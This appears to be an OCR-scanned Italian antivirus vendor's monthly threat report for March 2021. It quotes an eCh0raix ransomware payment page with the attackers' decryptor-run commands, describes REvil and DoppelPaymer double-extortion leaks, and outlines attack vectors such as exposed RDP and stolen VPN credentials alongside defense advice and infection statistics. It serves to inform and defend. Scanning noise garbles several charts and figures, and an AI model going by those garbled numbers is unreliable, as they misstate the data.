“>c e |0 o @ ¥ Qcea oa&» =

eChOraix order page
Status: Waiting Payment...

If you want decrypting your files send 0.024 4  BTC(bitcoin)
to this address: g

Or use QR code

Check payment and get decryptor @,

= Stesso sito, ma dopo aver pagato. Vengono date istruzioni su come decifrare i file sia su S.O. Linux

sia su S.0. Windows, ed e presente il pulsante per il download del decryptor.
| eChiraix order page b ‘ E@I |
cle B % 0 ¥+ =

eChOraix order page
Status: Paid

Instruction

After download unpack archive and upload decryptor_linux* file to your NAS.

After upload run command in terminal: chmod +x ./decryptor_linux && ./decryptor_linux
Or copy crypted files to another device and start decryptor program with start directory
paramether.

Example in linux: chmod +x ./decryptor_linux* && ./decryptor_linux* -s /destination/dir
Example in windows(command line): decryptor_windows.exe -s C:\destination\dir

Star symbol replace to your processor architecture. Before decrypting make sure you
have at least 1-2 gigabytes of free space.

Download decryptor

Si riporta per completezza di informazione il link ad una “vecchia” news del 2019 di un caso di attacco
ai NAS (lomega) analogo a quello illustrato: https://www.tgsoft.it/italy/news_archivio.asp?id=1016
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Alcuni dei principali attacchi ransomware portati alla ribalta da notizie stampa e/o dal-
la pubblicazione di tutti o parte dei dati esfiltrati sul Dark WEB dalle organizzazioni Cy-
ber-Criminali che attuano la (Double extortion)

Mentre le precedenti segnalazioni derivano tutte da attacchi verificati dai Ricercatori&Analisti del
#CRAM di #TGSoft, la rassegna che segue € un estratto delle principali segnalazioni raccolte da notizie
stampa, comunicati delle aziende colpite, social network (Twitter, LinkedIn, Facebook) o dalle pagine
internet nel Dark Web dei Cyber-Ricattatori. Di solito nel Dark Web vengono pubblicati una prima par-
te dei dati esfiltrati, come prova dell'attacco informatico, per forzare il pagamento del riscatto e se
questo non dovesse avvenire allora vengono pubblicati tutti i dati esfiltrati o messi all’asta quando si
dovesse trattare di informazioni che i Cyber-Criminali reputano particolarmente interessanti o di un
certo rilievo. Questo -modus operandi- &€ noto come DOUBLE EXTORTION.

Sodinokibi aka REvil

A marzo 2021 sfruttando il ran- w7 =
somware Sodinokibiaka REvil < ¢~ =80 %=
& stata attaccata una delle pit Happy Blog  Auction @ew plogcezith Sz

grandi compagnie produttrici Acer Inc.

di personal computer con sede
a Taipei in Taiwan.

Come possiamo vedere

Acer.com - is a Taiwanese multinational hardware and electronics corporation specializing in advanced electronics

dall'immagine estrapolata dal

technology, headquartered in Xizhi, New Taipei City. Its products include desktop PCs, laptop PCs tablets, servers,

storage devices, virtual reality devices, displays, smartphones and peripherals, as well as gaming PCs and

sito Onion di REvil, ’azienda
colpita e il distributore interna-
zionale Acer. Nel sito vengono
esposti parti dei dati esfiltrati
dai CyberCriminali all’azienda
stessa.

Per i Cyber-Ricattatori esporre “pubblicamente” quota parte dei dati delle vittime permette di dare
evidenza “pubblica” dell’attacco riuscito e, nel caso le vittime dovessero riuscire a ripristinare in tutto
o in parte i file cifrati cercano di garantirsi I’illecito pagamento richiesto non solo per la de-cifratura ma
anche e soprattutto per evitare la divulgazione, non solo di dati personali che potrebbero mettere I’a-
zienda nell’occhio del ciclone con la violazione della Privacy, ma anche per evitare I’eventuale divulga-
zione di segreti industriali /o commerciali. Null’altro che la double extortion segnalata sopra.

Sembrerebbe che il riscatto richiesto dai Cyber-Ricattatori sia di 50 milioni di UsD.
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Doppel-Paymer

Il gruppo di Cyber-Ricattatori DoppelPaymer, nel mese di marzo, hanno attaccato I’azienda italiana F.lli
Carteni SRL e ne ha dato pubblica evidenza dal proprio Blog nel Dark Web.

¥ Flli Carteni SRL
URL: hitps://carteni bmw.it/

Views: 157 | Published: 2021-03-30 06:42:41 | Updated: 2021-03-30 06:42:41

Nell'estratto della pagina del blog del gruppo dei CyberCriminali & possibile visualizzare sia il link effet-
tivo dell’azienda colpita con una breve descrizione e, nel caso, un’immagine di un documento esfiltra-
to

€)> C 0w -t O v 2

Home Proofs Leaks Mirror Tor search -7

F.Ili Carteni SRL:

URL

https://carteni.bmw.it/

m

Details

L'esclusivo servizio attraverso il quale ritiiamo e riconsegnamo la tua BMW direttamente a casa o presso l'indirizzo da te indicato
per qualsiasi intervento di manutenzione.

Images:

Mandato per Addebito Diretto SEPA Core Direct Debit

Seumera g Mandato
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Come difendersi dai Ransomware

Come abbiamo descritto nella pagine precedenti, il mese di marzo ha avuto un notevole incremento di
attacchi Ransomware, alcuni anche “atipici” (Bagui Fobos, ZEPPELIN).

Ormai i Cyber-Ricattatori sembra abbiano abbandonato, quasi del tutto, la pesca a strascico attraverso
campagne di Malspam, e-mail con allegati e/o con link, che avevano come obiettivo quello di indurre il
malcapitato ricevente, sfruttando I'ingegneria sociale/femozionale, a cliccare su file e/o link dai quali si
avviava direttamente o, in tempi differiti, il processo di cifratura direttamente o attraverso Dropper/
Downloader, cioé file che in modo silente una volta attivati erano in grado di fungere da apripista peril
download e I’esecuzione automatica del ransomware dal quale si attivava il processo di cifratura. Que-
sto tipo di approccio, essendo basato sui grandi numeri permetteva ai Cyber-Ricattatori di poter richie-
dere dei riscatti abbastanza bassi dai 300 €uro in su pagabili, nella maggior parte dei casi, con sistemi
difficilmente tracciabili quali sono le varie Crypto-Monete oggi oramai note ai piu.

Gia da prima del 2020 si € notato un cambio di approccio da parte dei Cyber-Ricattatori che hanno
cambiato strategia preferendo procedere attraverso attacchi mirati su specifiche categorie di enti/
imprese di medie/grandi dimensioni, non disdegnando enti ministeriali come anche il settore ospeda-
liero seppur gia provato dalla pandemia Covid-19, che sono stati fatti oggetto di attacchi informatici
attraverso azioni di hacking specifico attraverso vari approcci:

RDP Remote Desktop Protocol esposto su internet con password deboli che con un attacco Brute
Force puo permette ai Cyber-Criminali di riuscire ad accedere alla macchina PC o Server
e finalizzare I’attacco esfiltran-
do file aziendali ivi disponibili e,
successivamente, mandando in
esecuzione uno o piu ran-
somware procedendo alla loro
cifratura o entrambe le cose. La
prima cosa da fare, quando
NON sia proprio possibile elimi-
nare I’accesso RDP ¢ almeno

quello di metterlo in sicurezza.

A tale proposito esortiamo tutti a seguire le modalita operative per mettere in sicurezza
I’RDP consultando I'informativa 23/08/2019 “Continuano gli attacchi Ransomware con
violazione degli accessi RDP”. Questa € una forma di messa in sicurezza fondamentale
da effettuare IMMEDIATAMENTE prima che sia troppo tardi! Dobbiamo “confidarvi” che
in piu di qualche occasione il nostro #CentroRicercheAntiMalware #CRAM é stato chia-
mato ad effettuare analisi di #IncidentResponse #IR per spiegare come possa essere av-
venuto l'accesso e ci siamo trovati a dover verificare, in certi casi, che ’laccesso RDP era
stato lasciato, NON solo esposto, ma anche “maldestramente/colpevolmente” accessi-
bile all’utente GUEST (cioe accesso senza password...)...
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Vulnerabilita come abbiamo evidenziato per accedere ai PC o Server esposti sul WEB non € sempre
necessario che i Cyber-Criminali effettuino, ad esempio, un attacco Brute Force per otte-
nerne ’accesso ma, se presenti delle vulnerabilita sfruttarle per accedere a tali sistemi e
una volta ottenuto I’accesso sbizzarrirsi nella loro attivita preferite di sola cifratura man-
dando in esecuzione uno o pill ransomware come anche la preventiva esfiltrazione dei
file presenti nel PC e/o Server attaccato. Il Centro Ricerche Anti-Malware #CRAM di
#TGSoft evidenzia da anni queste situazioni anche nel caso venga utilizzata una VPN
(Virtual Private Network) come illustrato nel TGSoft_Cyber-Threat Report 2020-11
(Rubrica “In primo piano” — Vulnerabilita VPN con attacco ransomware da pag. 4...)

Si tratta, nella maggior parte delle occasioni, di attacchi “Cyber Human Operated Ran-
somware Attacks” dove vi & un soggetto che “fisicamente” accede alla macchina ed
esegue manualmente uno o pit Ransomware e ne “controlla” I’esecuzione. Gli accessi
avvengono tipicamente nei fine settimana e/o nei giorni di festa o di notte, cioé in quei
momenti dove l'infrastruttura informatica esposta e vulnerabile ¢ “abbandonata” al suo
destino. Viene da se che se la prima regola rimane sempre e comunque quella di NON
lasciare né PC né Server esposti sul WEB e, quando questo non sia possibile, la seconda
regola € mantenere queste macchine costantemente aggiornate con tutte le patch di
sicurezza disponibili, protezione anti-virus e anti-ransomware attiva e macchina monito-
rata con sistemi di alert.

Movimento Laterale grazie al furto di credenziali di accesso a PC o Server aziendali da computer pri-
vati poco o per nulla protetti ed esposti in internet in uso ai dipendenti in Smart Wor-
king dai quali i Cyber-Criminali sono in grado di insinuarsi nei PC/Server Aziendali. Server
e/o Client esposti che durante questa pandemia, grazie al massiccio uso dello SMART
Working (lavoro da casa o lavoro agile che dir si voglia) ha costretto enti ed imprese a
rendere disponibile la possibilita ai dipendenti di collegarsi ai Server o al computer della
rete aziendale attraverso PC privati non particolarmente protetti, in molti casi, neanche
con le misure minime di difesa come, ad esempio, un software AntiVirus costantemente
aggiornato. Questo stato di necessita emergenziale ha reso piu facilmente attaccabili PC
e Server aziendali proprio perché, accessibili da PC “casalinghi” probabilmente gia infet-
ti o che, visto I'uso promiscuo, lavoro e attivita ludiche private, sono rimasti facilmente
preda di Dropper/Downloader che hanno fatto da apripista a Trojan Banker e/o Pas-
sword Stealer e, da questi, acquisite/rubate le credenziali di accesso al computer azien-
dale remoto, seppure “protetti” da VPN, ha permesso di ottenere un facile accesso
all’infrastruttura aziendale.
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Problemi diretti ed indiretti degli attachi Ransomware

Un attacco RANSOMWARE, come oramai noto, produce I'indisponibilita dei file di dati sulla macchina/
e (PCe/o Server) attaccata/e e, conseguentemente il primo problema da risolvere & quello di recupera-
re i file di lavoro soprattutto se non si dovessero avere in disponibilita delle copie di backup ragione-
volmente recenti oppure queste dovessero essere state anch’esse cifrate.

In questa situazione catastrofica, € chiaro che il problema primario sara quello di andare alla ricerca di
qualcuno che siain grado di procedere al recupero/decifratura dei file cifrati...

Dove la malcapitata vittima, ormai in preda al panico, si aggrappa alla speranza che qualsiasi problema
possa essere risolto basta trovare qualche tool nel web, meglio se gratuito (naturalmente), che per-
metta di decifrare i suoi file e la cosa e risolta !

Recupero dei file dalle copie Shadows: praticamente la maggior parte dei ransomware utilizzati dai
CyberRicattatori negli ultimi anni, se non tutti, sono in grado di cancellare in modo irrecuperabile le
copie Shadow (copie di sicurezza emergenza effettuate in automatico dai S.0. Windows).

Purtroppo decifrare i file criptati dai Ransomware, oramai € null’altro che una mera chimera poiché la
decifratura é possibile solamente in situazioni molto particolari che enunceremo precisando che tale
elencazione non e da ritenersi certamente esaustiva in termini assoluti:

= quando siano presenti dei grossolani errori nell’implementazione degli algoritmi di cifratura che, €
bene non dimenticalo, sono estremamente robusti e matematicamente pressoche irreversibili se
non avendo a disposizione la chiave di cifratura specifica di quell’attacco utilizzata/generata dal
CyberRicattatore ed in possesso di quest’ultimo;

= quando le forze dell’ordine riescano a sequestrare i computer di Comando &Controllo (C&C) e ren-
dano disponibili alla generalita tali chiavi per decifrare i file delle vittime (cosa quasi mai immedia-
ta);

— quando i CyberRicattatori “fulminati sulla via di Damasco” dovessero redimersi e chiudere il proget-
to rilasciando la chiave di decifratura universale (a volte € successo...).

= ultima spiaggia pagare il riscatto sperando di avere a che fare con dei ricattatori “SERI”’ che man-
tengano la promessa di farvi avere un Decrypt completo.

Assolutamente da evitare, ¢ quello di cadere nella trappola di coloro che si approfittano della Vs. di-
sperazione e viilludono che il loro team di “ingegneri” € in grado, mandandogli qualche file cifrato e la
richiesta di riscatto di realizzare un Decrypt ad hoc per Voi. Generalmente si tratta di Cyberintermedia-
ri che vanno “segretamente” in trattativa con i CyberRicattatori e acquistano, a vostra insaputa, la
chiave di decifratura dai CyberRicattatori facendovi credere che I’hanno creata ad hoc per il vostro ca-
so e facendovi pagare tale servizio ben di piti del pagamento del riscatto (Ad esempio 8.650 €uro+IVA

a fronte di un riscatto di 6.000 €uro richiesto dal CyberRicattatore...).
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Come si puo TEORICAMENTE provare a DECIFRARE i file cifrati da un attacco RANSOMWARE

by

Una domanda che spesso ci viene posta & “E’ possibile DECIFRARE i dati ? “ senza copie di backup o
nel caso siano state cifrate, vi sono poche possibilita per poter recuperare i propri file.

La difficolta principale sta proprio nel tipo di cifratura che viene utilizzata infatti gli algoritmi come
AES, RSA o Salsa20 rimangono praticamente indecifrabili se non si conosce la chiave di cifratura utiliz-
zata.

E’ successo molto di rado che vi sia stata la possibilita di recuperare le chiavi private da server di C&C,
grazie al sequestro da parte delle forze dell’ordine dei Server stessi. Altri casi, anch’essi molto rari, gli
autori dei ransomware avevano commesso errori e vi erano punti deboli come ad esempio nel caso del
ransomware TeslaCrypt nelle versioni precedenti alla 3.0 o un altro caso una delle prime versioni di Pe-
tya era possibile, tramite un approccio di calcolo basato su algoritmi genetici, la decifratura della chia-
ve utilizzata.

Le probabilita quindi sono molto irrisorie infatti se gli algoritmi utilizzati vengono utilizzati corretta-
mente, senza essere a conoscenza della chiave, € pressoché impossibile poter decifrare i dati.

Alcuni hanno speranza di riuscire a decifrare i file cifrati utilizzando il “Brute Force”, cioé provare tutte
le possibili combinazione avendo a disposizione perod un file cifrato e il suo corrispondente in chiaro di
modo da poter confrontare quale sia la chiave che faritornare il file cifrato identico al file originale...

Piccolo problema, per ottenere la chiave di decifratura ci vogliono computer estremamente potenti e
tanto, tanto... ma proprio TANTO tempo!

Un aiuto che permetta di capire quanto sia complesso individuare la chiave privata utilizzando un at-
tacco “brute force”, abbiamo calcolato il numero di combinazioni di alcuni giochi e di una chiave a 256
bit:

= Totocalcio (13 partite) = 3= 1.594.323 combinazioni
= SuperEnalotto =C(90,6) = 622.614.630 (388 volte quelle del totocalcio)

= Per le chiavi a 256 bit ci vogliono 1,16 *10”’combinazioni.

Nel 2004 per risolvere una

Totocalcio ' curva ellittica a 109 bit, un

team di 2600 persone ha
impiegato 17 mesi.

SuperEnalatto '

chiave a 26 bie [

Fonte: | 0 L17E+77 | Ran-

somware 2017 Italy - C.R.A.M. di TG Soft Cyber Security Specialist

Raffigurando graficamente questi 3 dati, vediamo che & molto pit facile vincere al Totocalcio o al Su-
perEnalotto che individuare una chiave privata a 256 bit.
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Attacchi di Cifratura... NON mi resta che DIFENDERMI... ma come?

Una buona difesa deve partire da un sistema che mi permetta di:
1) mettere in sicurezza i file di Backup da un attacco Ransomware anche di nuova generazione;

2) Mitigare ’attacco attraverso un approccio Euristico-Comportamentale in grado di riconoscere e
bloccare la cifratura dei file nella fase iniziale dell’attacco di modo da minimizzare il numero di file
cifrati e permetterne il ripristino in tempi rapidi dopo aver messo i computer PC e/o Server in sicu-
rezza cioe dopo aver fatto verificare da personale qualificato di provata esperienza che il processo
di cifratura NON sia ancora persistente/attivo e sia in grado di disattivarlo nonché sia in grado di
analizzare la macchina alla ricerca di eventuali minacce nascoste (backdoor o altro) che possano
essere utilizzati per rientrare e magari tentare ulteriori attacchi con altri Ransomware...

Per poter proteggere i propri dati da queste tipologie di attacchi & necessario adottare una soluzione
che sia strutturata con:

= sistemi di Backup specificatamente progettati per resistere alla cifratura preservando da questa
e/o dalla cancellazione accidentale almeno i file di Backup;

= tecnologie Euristico-comportamentali per la mitigazione dei danni derivanti dall'attacco nella sua
fase iniziale. Queste tecnologie sono in grado di effettuare il monitoraggio in real-time degli accessi
ai file del PC/Server rilevando e bloccando la cifratura dei dati in atto sia da processi eseguiti local-
mente sia da accessi avvenuti attraverso le condivisioni di rete.

Queste due tecnologie sono presenti entrambe all’interno della suite Vir.IT eXplorer PRO che permet-
te di proteggere i propri PC e/o Server Windows dalle pil svariate tipologie di ransomware. Essendo in
grado di segnalare tempestivamente I’attacco ed isolare la macchina/e dove questo & avvenuto e sal-
vare dalla cifratura la maggior parte dei dati aziendali riducendo di molto il tempo di fermo delle attivi-
ta non solo della macchina/e colpite dovute al loro ripristino ma anche delle attivita aziendali a questa/
e connesse grazie alle tecnologie:

= Euristico-Comportamentali AntiRansomware protezione CryptoMalware;

= dibackup avanzate e specificatamente progettate per preserva-

re i dati anche da attacchi Ransomware di nuova generazione.

La massima efficacia di qualsiasi software e ottenibile, e questo vale e\,sﬁg.g-ﬁ:@

anche per la suite Vir.IT eXplorer PRO, su PC e Server Windows(R) Antiliras

Anti:Spyware

nnnnnn

Anti:lVialware

ove il software di protezione sia correttamente: i S vare

— INSTALLATO;
— CONFIGURATO;
. AGGIORNATO; iy %
— UTILIZZATO.
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Prevalenza

Quanto sono protetti i computer in Italia dagli at-
tacchi informatici ? Quanto ¢ alto il rischio che un
utente sia colpito da un ransomware?

Per rispondere a queste domande dobbiamo par-
lare di “prevalenza” e “infection rate”.

La prevalenza € un indice che ci permette di capire
lo stato della Cyber-Security. Questo dato forni-
sce lo stato di “salute” dei computer, quantifi-
cando il numero di computer colpiti da malware.

Vediamo ora i dati relativi alla prevalenza dei mal-
ware registrati dal C.R.A.M. di TG Soft nel mese di
marzo. Per prevalenza si intende I'incidenza che i
malware hanno in un determinato periodo. Il valo-
re calcolato si chiama "rate di infezione".

Il rate di infezione viene calcolato dividendo il nu-
mero di computer ove siano stati rilevati attacchi

per il numero di computer dove & installato il soft-
ware anti-virus Vir.IT eXplorer.

Possiamo calcolare il rate di infezione per le se-
guenti categorie:

» Tipologia del malware
o Sistema operativo (client/server)

Infection Rate 2021-03 Tipologie Malware
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Analizzando il grafico a fondo pagina, possiamo
confermare anche per il mese di marzo il primo
posto per i Trojan con una percentuale del 4,697%,
Adware al secondo posto con un 2,08% in risalita
di una posizione, mentre i PUP, in seconda posi-
zione nel mese di febbraio, scendono al terzo po-
sto con un 2,07%. Macro Excel e Macro Word inve-
ce ricoprono il quarto e quinto posto rispettiva-
mente, con percentuali dell’1,14% e dello 0,57%.
Deceptor in leggera discesa al sesto posto con
una percentuale del 0,57%, mentre rimangono sta-
bili i VIRUS al settimo posto con una percentuale
del 0,50% (a febbraio la percentuale registrata era
del 0,38%).

Anche per i Ransomware la posizione rimane inva-
riata, in questo caso I’ottavo posto, con un +20%
rispetto a febbraio attestandosi allo 0,36%. Ricor-
diamo che sono considerati tra i malware piu peri-
colosi se non addirittura i pit incontrastabili qualo-
ra si fosse sprovvisti di tecnologie Anti-
Ransomware protezione Crypto-Malware.

Ricordiamo che per Ransomware vengono consi-
derati tutti i malware che chiedono un riscatto,
come, ad esempio, i Cryp-
to-malware (SodinoKibi

TROJAN

aka REvil, Phobos, Lock-

I 4,69%

ADWARE

] 2,08%
1 2,07%

PUP
MACRO EXCEL

T ,14%
/1 o,57%
T o,57%
/1 o,50%
—/ p,36%
— o0,25%
— 0,24%

s T o,20%
BHO O o,14%
- o,12%
J o,009%

MACRO WORD
DECEPTOR
VIRUS
RANSOMWARE
BACKDOOR
WORM

DIALER
HTML
ROOTKIT 71 o0,00%
VBS

MACRO POWERPOINT

1 o0,05%
1 0,02%

EXPLOIT | 0,01%

0,0% 1,0%
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3,0%

Bit, Ryuk etc.) e il vecchio,
famoso ed oramai estinto,
FakeGDF (virus della poli-
zia di stato, guardia di fi-
nanza etc.).

4,0% 5,0%
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Andiamo ora ad analizzare la prevalenza delle infe-
zioni del mese di marzo 2021, in base ai sistemi
operativi suddivisi tra sistemi Server e Client. Nelle
immagini che seguono i dati raccolti sono stati
suddivisi secondo i sistemi operativi Windows Ser-
ver e Client in macro categorie, senza dividere per
tipo di architettura o per le varianti che la stessa
versione puo avere (es: Server 2008 R2, Server
2008 R2 Foundation, etc.), calcolati sulla totalita
delle macchine rispettivamente server e client in-
dicate.

Analizzando prima i sistemi operativi SERVER, si
conferma che la probabilita dell’infezione/attacco
ad un Server 2019 di ultima generazione rispetto
ad un Server 2012 (pit datato... ) € inferiore di qua-
si il 70%[(3,5-1,06)/3,5 = -69,71% circa].

Se confrontiamo i dati degli attacchi ai Server tra
marzo e febbraio si pud notare un incremento per-
centuale di attacchi considerevole, giustificabile
non solo con la maggior lunghezza di marzo
(31gg) rispetto a febbraio (28gg) +10,71% la percen-

SERVER 2012

SERVER 2008

SERVER 2016

SERVER 2019

0,00% 0,50% 1,00% 1,50% 2,00%
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INFECTION RATE 2021-03
PRINCIPALI 5.0. Windows(R) SERVER (%)

2,50% 3,00% 3,50%

tuale delle infezioni sui Server 2019 quasi raddop-

piata (+77%) passando dallo 0,60% di febbraio al

1,06% di marzo.

Nelle statistiche relative alla prevalenza delle infe-

zioni dei computer client di marzo 2021 abbiamo

riscontrato che il 11,15% (contro il 9,77% di febbraio)

dei terminali & stato infettato o ha subito un attac-

co probabilmente dovuto anche al fatto che feb-

braio ha 28 giorni contro i 31 di marzo.

Questo dato indica che poco pil di 11 computer su

100 sono stati colpiti da malware nel mese di mar-

ZO0.

Nella figura sottostante possiamo vedere il grafico

Infection rate Client Windows 2021-03

mWINDOWS 10

delle infezioni in
base ai sistemi
operativi dei
Client, doveiil
campione analiz-
zato € cosi com-
posto:

66,76% client con

Windows 10

B WINDOWS 7 25,49% client con
Windows 7

W ALTRI 5.0. WINDOWS  7,74% client con
altri s.o. Win-

m Puliti Client dows

Windows
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Windows 10 e Windows 7 coprono poco piudel  Prendendo ad esempio Windows 10, si pu0 notare
92% del parco macchine dei Client, pertanto glial- che il rate di infezione tra tutte le macchine ove &
tri sistemi operativi sono stati raccolti in un unico installato Windows 10 che ha “subito” un attacco
gruppo. informatico e del 9,94%, anche questo mese in cre-
scita rispetto all’8,49% registrato durante il mese

Ma quale sara il sistema operativo piu sicuro ?
di febbraio. Con questo calcolo possiamo capire

Per rispondere a questa domanda dobbiamo cal-

quindi qual & il sistema operativo piu sicuro.

colare la prevalenza d'infezione sul medesimo si-
stema operativo.

15.88%

Windows

8

B Infetti
® Puliti

Nei grafici a torta e stato calcolato I'Infection Rate soft, come Windows XP (17,59%) e Vista (22,74%)
(IR) relativo alla prevalenza sul medesimo sistema hanno, di fatto, il rate d’infezione molto pit alto.
operativo client. Il sistema operativo che ha subito Paragonando il vecchio Windows VISTA con Win-

meno attacchirisulta essere Windows 10, questo dows 10, si pud notare infatti che I'IR & piti del

dimostra c.h-e utlllz.za.re S.lSte.I'T‘TI op?ratlw moderni e doppio rispetto al pils recente prodotto di Micro-
supportati riduce il rischio di infezione. soft 9,94% Vs 22,74%!

| sistemi operativi non piu supportati da Micro-
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Come ultimo grafico delle nostre statistiche, an-
diamo a vedere ’landamento dell’IR relativo al si-
stema operativo Windows 10 negli ultimi 12 mesi.

Settembre 2020 continua a rimanere il periodo di

maggior infezione nell’arco di tempo considerato.

Ricordiamo che in quel periodo si € avuto in Italia
una massiva diffusione di campagne malware atte
a distribuire il noto trojan Emotet (negli ultimi 12
mesi Emotet si e diffuso da dicembre 2019 fino a
meta febbraio 2020, per poi riprendere la sua atti-
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vita dal mese di luglio 2020).

Nonostante Emotet sia ormai defunto, il trend del
rate di infezione dei client Windows 10 negli ultimi
12 mesi continua con la sua rinnovata crescita con-
solidata dai 9,94 punti percentuali di marzo, cre-
scita che si evince anche da quanto dettagliato nei
capitoli precedenti.

Infection Rate del s. o. Windows 10 negli ultimi 12 mesi (%)
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